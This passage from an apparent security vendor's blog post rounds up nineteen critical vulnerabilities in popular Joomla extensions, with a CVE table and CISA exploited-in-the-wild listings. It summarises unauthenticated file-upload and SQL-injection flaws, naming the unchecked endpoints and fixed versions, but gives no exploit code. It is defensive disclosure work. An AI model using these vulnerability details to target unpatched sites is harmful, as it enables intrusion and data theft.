href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48908/&quot;&gt;CVE-2026-48908&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;10.0&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Gridbox&lt;/td&gt;&lt;td&gt;Unauthenticated authentication bypass to Super User&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61425/&quot;&gt;CVE-2026-61425&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;10.0&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;iCagenda&lt;/td&gt;&lt;td&gt;Unauthenticated upload to RCE&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48939/&quot;&gt;CVE-2026-48939&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;9.8&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;EasyStore&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65761/&quot;&gt;CVE-2026-65761&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;9.3&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;EasyStore&lt;/td&gt;&lt;td&gt;Cross-customer order and invoice disclosure&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65760/&quot;&gt;CVE-2026-65760&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;9.2&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Phoca Download&lt;/td&gt;&lt;td&gt;Authenticated upload to RCE&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57828/&quot;&gt;CVE-2026-57828&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;9.0&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/phoca-download-authenticated-file-upload-rce/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;DJ-Classifieds&lt;/td&gt;&lt;td&gt;Unauthenticated file upload&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61424/&quot;&gt;CVE-2026-61424&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;8.8&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/dj-classifieds-unauthenticated-file-upload/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;jDownloads&lt;/td&gt;&lt;td&gt;Unauthenticated file upload&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61900/&quot;&gt;CVE-2026-61900&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;8.8&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/jdownloads-4-1-unauthenticated-upload-flaw/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;AcyMailing&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56292/&quot;&gt;CVE-2026-56292&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;8.7&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;DPCalendar&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57831/&quot;&gt;CVE-2026-57831&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;8.7&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;EDocman&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57832/&quot;&gt;CVE-2026-57832&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;8.7&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/edocman-sql-injection-disclosure/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Quix Page Builder&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-58078/&quot;&gt;CVE-2026-58078&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;8.7&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/quix-sql-injection-disclosure/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;EasyStore&lt;/td&gt;&lt;td&gt;Unauthenticated order and payment forgery&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65759/&quot;&gt;CVE-2026-65759&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;8.7&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Helix3&lt;/td&gt;&lt;td&gt;Unauthenticated file write and delete&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-49049/&quot;&gt;CVE-2026-49049&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;7.5&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Helix Ultimate&lt;/td&gt;&lt;td&gt;Unauthenticated menu write to stored XSS&lt;/td&gt;&lt;td&gt;none assigned&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Events Booking&lt;/td&gt;&lt;td&gt;Unauthenticated upload and user enumeration&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-60024/&quot;&gt;CVE-2026-60024&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;6.9&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Every row is now patched and named. The events and booking component that sat redacted here while its disclosure ran is public at last: it is &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking&lt;/a&gt;, fixed across 5.8.0 and 5.8.1. The three newest additions, all fixed the same week, are &lt;a href=&quot;https://mysites.guru/blog/dj-classifieds-unauthenticated-file-upload/&quot;&gt;DJ-Classifieds&lt;/a&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61424/&quot;&gt;CVE-2026-61424&lt;/a&gt;), &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Gridbox&lt;/a&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61425/&quot;&gt;CVE-2026-61425&lt;/a&gt;) and &lt;a href=&quot;https://mysites.guru/blog/jdownloads-4-1-unauthenticated-upload-flaw/&quot;&gt;jDownloads&lt;/a&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61900/&quot;&gt;CVE-2026-61900&lt;/a&gt;), which is what moved the count from thirteen to sixteen while this post was live, and the three EasyStore flaws (order forgery, SQL injection and a cross-customer invoice leak, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65759/&quot;&gt;CVE-2026-65759&lt;/a&gt; to &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65761/&quot;&gt;CVE-2026-65761&lt;/a&gt;) took it to nineteen. We found all of them ourselves bar jDownloads, which a mySites.guru subscriber brought to us and we confirmed, reproduced and coordinated to a fix.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;None of these is a minor bug&lt;/p&gt;
  &lt;p&gt;Most of the flaws in that table scored between &lt;strong&gt;8.7 and the maximum 10.0&lt;/strong&gt;, and not one dropped below &lt;strong&gt;6.9&lt;/strong&gt;. These are the most dangerous classes of web vulnerability there are, not low-severity housekeeping issues: unauthenticated remote code execution, where an anonymous visitor runs their own code on your server, and unauthenticated full-database read, where an anonymous visitor walks off with every user account and password hash. It does not get much worse than this.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;CISA put four of these on its must-patch-now list&lt;/h2&gt;
&lt;p&gt;When we say critical, we mean it, and now the U.S. government agrees.&lt;/p&gt;
&lt;figure&gt;
  &lt;img src=&quot;https://mysites.guru/img/blog/cisa-seal.svg&quot; alt=&quot;Official seal of the U.S. Cybersecurity and Infrastructure Security Agency&quot; width=&quot;208&quot; height=&quot;208&quot; loading=&quot;lazy&quot; /&gt;
  &lt;figcaption&gt;The official seal of the U.S. Cybersecurity and Infrastructure Security Agency&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;In a single week, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added &lt;strong&gt;four of the vulnerabilities in this roundup&lt;/strong&gt; to its &lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&quot;&gt;Known Exploited Vulnerabilities catalog&lt;/a&gt;, the authoritative list of bugs CISA has confirmed are being exploited in the wild right now. A CVSS score is a severity opinion. A place on the KEV catalog is evidence: it means the attacks were observed happening, not theorised, and under &lt;a href=&quot;https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk&quot;&gt;Binding Operational Directive 26-04&lt;/a&gt; every U.S. federal agency was legally ordered to patch each one within three days of it being listed.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;CISA Known Exploited Vulnerabilities catalog&lt;/p&gt;
  &lt;p&gt;Two CISA alerts, five vulnerabilities between them. Four were ours.&lt;/p&gt;
  &lt;p&gt;Confirmed exploited in the wild. A three-day federal deadline to patch every one.&lt;/p&gt;
&lt;/div&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Extension&lt;/th&gt;&lt;th&gt;Added to CISA KEV&lt;/th&gt;&lt;th&gt;Federal patch deadline&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;&lt;/td&gt;&lt;td&gt;PageBuilder CK&lt;/td&gt;&lt;td&gt;7 July 2026&lt;/td&gt;&lt;td&gt;10 July 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48908/&quot;&gt;CVE-2026-48908&lt;/a&gt;&lt;/td&gt;&lt;td&gt;SP Page Builder&lt;/td&gt;&lt;td&gt;7 July 2026&lt;/td&gt;&lt;td&gt;10 July 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48939/&quot;&gt;CVE-2026-48939&lt;/a&gt;&lt;/td&gt;&lt;td&gt;iCagenda&lt;/td&gt;&lt;td&gt;10 July 2026&lt;/td&gt;&lt;td&gt;13 July 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56291/&quot;&gt;CVE-2026-56291&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Balbooa Forms&lt;/td&gt;&lt;td&gt;10 July 2026&lt;/td&gt;&lt;td&gt;13 July 2026&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;They came in two public alerts, both now permanent record. The &lt;a href=&quot;https://www.cisa.gov/news-events/alerts/2026/07/07/cisa-adds-three-known-exploited-vulnerabilities-catalog&quot;&gt;“CISA Adds Three Known Exploited Vulnerabilities to Catalog”&lt;/a&gt; alert on 7 July was two of our Joomla findings plus one unrelated flaw. The &lt;a href=&quot;https://www.cisa.gov/news-events/alerts/2026/07/10/cisa-adds-two-known-exploited-vulnerabilities-catalog&quot;&gt;“CISA Adds Two Known Exploited Vulnerabilities to Catalog”&lt;/a&gt; alert on 10 July was both ours.&lt;/p&gt;
&lt;p&gt;Here is the detail that sharpens the point rather than blunting it. CISA’s catalog lists the CVE, the vendor and the product. It does not print the name of the person who found the bug, so you will not see “mySites.guru” on a government web page. Our name is on the &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE records&lt;/a&gt; instead, which is exactly where the credit for finding and reporting each one belongs. Read the two together and the sequence is not in doubt: we found these, we reported them privately, the vendors shipped fixes, and then a national cyber-defence agency independently confirmed they were already being exploited and made patching them compulsory across the entire U.S. federal government.&lt;/p&gt;
&lt;p&gt;That is about as strong an outside verdict on security research as it gets. This is CISA reaching the same conclusion we did, not our marketing or a CVSS calculator we ran ourselves, and backing it with the force of law. When this post calls these bugs critical, that is what critical means in practice.&lt;/p&gt;
&lt;h2&gt;These are not fringe Joomla extensions&lt;/h2&gt;
&lt;p&gt;It would be comforting to write this off as a run of obscure, one-developer hobby extensions that no one serious installs. It is the opposite. These are some of the most established, most trusted and most widely deployed names in the whole Joomla ecosystem: page builders and template frameworks that sit under a huge number of live sites, a newsletter platform that ships for WordPress too, mature form, calendar and document components that agencies roll out as standard furniture. Between them they run on an enormous number of production sites. The vendors are long-standing, respected members of the Joomla community, most with a good security track record.&lt;/p&gt;
&lt;p&gt;That is the part worth sitting with. If extensions of this calibre, from teams who take security seriously, all had a critical bug on the same public surface inside a single month, then “we only install popular, well-reviewed extensions” is not the safety net people treat it as. Popularity and a good reputation tell you the code is maintained and the developer answers a disclosure email quickly. They do not tell you the code is free of the one endpoint that trusts the wrong input. We are not talking about small players here, and that is exactly why it matters.&lt;/p&gt;
&lt;h2&gt;We went after the biggest names on purpose&lt;/h2&gt;
&lt;p&gt;There is an easy version of this exercise and a hard version, and we chose the hard one on purpose.&lt;/p&gt;
&lt;p&gt;The easy version is to trawl the long tail: the abandoned, single-download, one-afternoon extensions that no one has touched in years. That corner of any ecosystem, Joomla or WordPress, is riddled with holes. Finding a critical bug there proves nothing, because no one serious runs that software and breaking it helps no one. It is easy, and it is pointless.&lt;/p&gt;
&lt;p&gt;We did the opposite. We pointed the research squarely at the extensions that matter to the people we protect: the ones at the top of the installed list across mySites.guru users’ sites. The page builders, template frameworks, and the form, calendar, document and newsletter components that professional agencies deploy as standard, built and backed by some of the most respected, longest-established developers in the Joomla community. These are the names you would choose because they are popular, maintained and trusted.&lt;/p&gt;
&lt;p&gt;These extensions do not just run on reputable client sites. Several of the ones in this roundup are installed on the official &lt;code&gt;*.joomla.org&lt;/code&gt; websites themselves. The Joomla Project runs this code on its own infrastructure, on the properties that represent Joomla to the world. There is no stronger vote of confidence, no clearer “trusted, vetted, safe to install” signal, than being chosen by the people who make Joomla, for Joomla’s own sites. And it was still vulnerable.&lt;/p&gt;
&lt;p&gt;We did not have to go digging in the gutter to fill a list. Every vulnerability in this post is in software a careful, security-conscious site owner would happily install, from a developer with a real reputation to protect. The critical bugs were in the flagship extensions, on the most reputable sites, the whole time.&lt;/p&gt;
&lt;h2&gt;Is Joomla insecure by default?&lt;/h2&gt;
&lt;p&gt;No, and it is worth saying, because a post like this can leave the wrong impression. Not one of these vulnerabilities is in Joomla itself. Every single one is in a third-party &lt;strong&gt;extension&lt;/strong&gt;: a component, plugin, module or template framework that someone chose to install on top of Joomla. Joomla core is not the weak point here, and nothing in this roundup says otherwise.&lt;/p&gt;
&lt;p&gt;Joomla the platform has one of the stronger security stories in the CMS world: a dedicated Security Strike Team, its own CVE Numbering Authority (the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;) that coordinates disclosures exactly like these, a signed and hardened core update channel, and a long record of shipping fixes quickly. A default Joomla install, kept up to date, is a solid, well-defended piece of software.&lt;/p&gt;
&lt;p&gt;The risk lives where it lives on every CMS: in the third-party ecosystem bolted on around the core. WordPress stands or falls by its plugins, and Joomla by its extensions. That is where code quality varies most, where independent review is thinnest, and where an attacker goes looking first. It is why “keep Joomla updated” is only half the job. The other half is keeping every extension updated too, and knowing which ones are exposed at any given moment.&lt;/p&gt;
&lt;p&gt;So the headline is not “Joomla is insecure”. It is that the extensions you add to Joomla are code too, and they deserve the same discipline you already apply to the core.&lt;/p&gt;
&lt;p&gt;One last piece of perspective, because nineteen findings in five weeks can read as alarming when you see them stacked in one table. Nineteen findings in a month is a handful. Now look at what the WordPress ecosystem logs over the same kind of window: Wordfence’s vulnerability feed regularly lists &lt;strong&gt;fifty or more new plugin vulnerabilities in a single day&lt;/strong&gt;. A day, not a month. Here is that feed on the afternoon we published this post, showing &lt;strong&gt;fourteen WordPress plugin vulnerabilities dated 15 July alone&lt;/strong&gt;, with more stacked up on the 14th and the 13th behind them:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The Wordfence Intelligence &amp;quot;All Vulnerabilities&amp;quot; feed on 15 July 2026, listing newly disclosed WordPress plugin vulnerabilities newest first. Fourteen separate entries share the date July 15, 2026: SEO Booster authenticated SQL injection via sort_field (CVE-2026-15458, 4.9) and again via orderby (CVE-2026-15445, 4.9), RPB Chessboard unauthenticated stored XSS (CVE-2026-13042, 7.2), Product Feed Manager for WooCommerce reflected XSS (CVE-2026-15306, 6.1), MxChat stored XSS (CVE-2026-13005, 4.4), MultiVendorX SQL injection (CVE-2026-12941, 6.5), Easy Accordion stored XSS (CVE-2026-15652, 6.4), Catch Themes Demo Import missing authorization (CVE-2026-15336, 4.3), List category posts sensitive information exposure (CVE-2026-12434, 4.3), Landing Page Builder CSRF to an AJAX action (CVE-2026-12409, 4.3), GiveWP stored XSS (CVE-2026-14987, 6.4), Advance Product Search unauthenticated SQL injection (CVE-2026-12753, 7.5), Gravity Forms unauthenticated arbitrary file read (CVE-2026-12997, 7.5), and SAML Single Sign On unauthenticated authentication bypass (CVE-2026-15013, 9.8). Further entries dated 14 and 13 July sit below them, including a Podlove Podcast Publisher unauthenticated arbitrary file upload at CVSS 9.8&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1400px) 1400px, 100vw&quot; width=&quot;1400&quot; height=&quot;1324&quot; src=&quot;https://mysites.guru/_astro/wordfence-wordpress-vulnerabilities-15-july-2026.zXT_S2Yu_Z7AJw8.webp&quot; srcset=&quot;https://mysites.guru/_astro/wordfence-wordpress-vulnerabilities-15-july-2026.zXT_S2Yu_RYLCs.webp 640w, https://mysites.guru/_astro/wordfence-wordpress-vulnerabilities-15-july-2026.zXT_S2Yu_xKUxX.webp 750w, https://mysites.guru/_astro/wordfence-wordpress-vulnerabilities-15-july-2026.zXT_S2Yu_1tseSz.webp 828w, https://mysites.guru/_astro/wordfence-wordpress-vulnerabilities-15-july-2026.zXT_S2Yu_ZnDL2z.webp 1080w, https://mysites.guru/_astro/wordfence-wordpress-vulnerabilities-15-july-2026.zXT_S2Yu_ZKHTul.webp 1280w, https://mysites.guru/_astro/wordfence-wordpress-vulnerabilities-15-july-2026.zXT_S2Yu_Z7AJw8.webp 1400w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Read that gap carefully, though, because it points in both directions at once. Part of it is scale: WordPress runs on far more sites, with far more plugins, so there is simply more code to find bugs in. The larger part is the thing this entire post has been about. A whole paid industry hunts WordPress plugin bugs every single day, so WordPress’s number is high because hundreds of skilled people are looking. Joomla’s number is low because, most months, almost no one is. Our nineteen is not the total that exists out there. It is what one team turned up in about five weeks of actually looking, and it is still climbing, not because we ran out but because we cannot look at everything at once.&lt;/p&gt;
&lt;p&gt;So if this roundup left you uneasy about Joomla, weigh it against an ordinary Tuesday in WordPress before drawing a conclusion about either. The lesson is identical on both platforms and has nothing to do with which CMS you chose: the third-party code you bolt on is where the risk lives, and keeping it current is the whole job.&lt;/p&gt;
&lt;h2&gt;The critical file-upload RCEs in Joomla extensions&lt;/h2&gt;
&lt;p&gt;Six of the nineteen were the same shape of bug in its cleanest form: a front-end upload endpoint that accepted a file from an anonymous visitor without properly checking who sent it or what it was, letting an attacker drop a PHP file into a web-served folder and execute it.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;, CVSS 10.0). A front-end task behind only a CSRF token, with no authentication or authorisation, accepted an upload and let the attacker choose the destination folder. Fixed in 3.6.0, with back-patches for the Joomla 3 and 4 branches. Exploited in the wild within a day.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56291/&quot;&gt;CVE-2026-56291&lt;/a&gt;, CVSS 10.0). The form attachment upload took a file from anyone, with no login, no CSRF token and no type check, and trusted the supplied filename. A zero-day, confirmed exploited in the wild. Fixed in 2.4.1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles!&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57827/&quot;&gt;CVE-2026-57827&lt;/a&gt;, CVSS 10.0). The front-end upload task was reachable with no login and no token, and the write path did no file-type check, so anyone could drop a PHP file into the public downloads folder and run it. Fixed in 1.17.12.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48908/&quot;&gt;CVE-2026-48908&lt;/a&gt;, CVSS 10.0). An unauthenticated icon-upload endpoint gave remote code execution, and was being used to plant hidden Super User accounts. Fixed in 6.6.2.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48939/&quot;&gt;CVE-2026-48939&lt;/a&gt;, CVSS 9.8). The public “Submit an Event” form accepted uploads with no server-side type check, plus an access-control bypass that let guests create events. A zero-day, exploited in the wild. Fixed in 4.0.8 (and 3.9.15 for the legacy branch).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/phoca-download-authenticated-file-upload-rce/&quot;&gt;Phoca Download&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57828/&quot;&gt;CVE-2026-57828&lt;/a&gt;, CVSS 9.0). This one needs a logged-in member and the non-default user-upload feature, so it is authenticated rather than anonymous, but the member-upload path skipped the file-type allow-list and let a member upload and run a PHP file. Fixed in 6.1.3.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Three more were the same class of unauthenticated upload but stopped short of clean code execution on a default server, so they score High rather than 10.0: &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/dj-classifieds-unauthenticated-file-upload/&quot;&gt;DJ-Classifieds&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61424/&quot;&gt;CVE-2026-61424&lt;/a&gt;, CVSS 8.8) and &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/jdownloads-4-1-unauthenticated-upload-flaw/&quot;&gt;jDownloads&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61900/&quot;&gt;CVE-2026-61900&lt;/a&gt;, CVSS 8.8) both let an anonymous visitor write an arbitrary file into a web-served folder, tipping into remote code execution only on a misconfigured host, and &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-60024/&quot;&gt;CVE-2026-60024&lt;/a&gt;) shipped with an anonymous upload on by default alongside a user-enumeration flaw. All three are fixed.&lt;/p&gt;
&lt;h2&gt;The Joomla Extension SQL injections&lt;/h2&gt;
&lt;p&gt;Five of the nineteen were SQL injection rather than file upload: a &lt;strong&gt;read&lt;/strong&gt;, not code execution. A public front-end endpoint placed request input into a database query with no sanitising, so an anonymous visitor could read any table in the database, including user accounts and password hashes. Four of the five score 8.7, lower than the upload flaws’ 10.0 only because they read data rather than executing code; the fifth, in EasyStore, is the same read-through-the-query pattern but the Joomla CNA scored it 9.3 Critical. Every one is the same &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;public-endpoint-meets-unchecked-input pattern&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56292/&quot;&gt;CVE-2026-56292&lt;/a&gt;, CVSS 8.7). A public front-end endpoint placed request input into a query unsanitised. It affects the WordPress plugin as well as the Joomla extension, because both are built from the same code. Fixed in 10.11.1 on both platforms.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/edocman-sql-injection-disclosure/&quot;&gt;EDocman&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57832/&quot;&gt;CVE-2026-57832&lt;/a&gt;, CVSS 8.7). The document and download manager for Joomla by JoomDonation placed a request parameter into a front-end query unsanitised, the same class of unauthenticated SQL injection with the same anonymous full-database-read outcome. We proved it live, reading back the site’s Super User account and confirming it connected to MySQL as the superuser, so on that box the read reached every database on the server, not just the one site. Fixed in &lt;strong&gt;EDocman 3.9.0&lt;/strong&gt;, under a terse changelog that badly understates the severity. Read the &lt;a href=&quot;https://mysites.guru/blog/edocman-sql-injection-disclosure/&quot;&gt;full write-up&lt;/a&gt;.&lt;/li&gt;
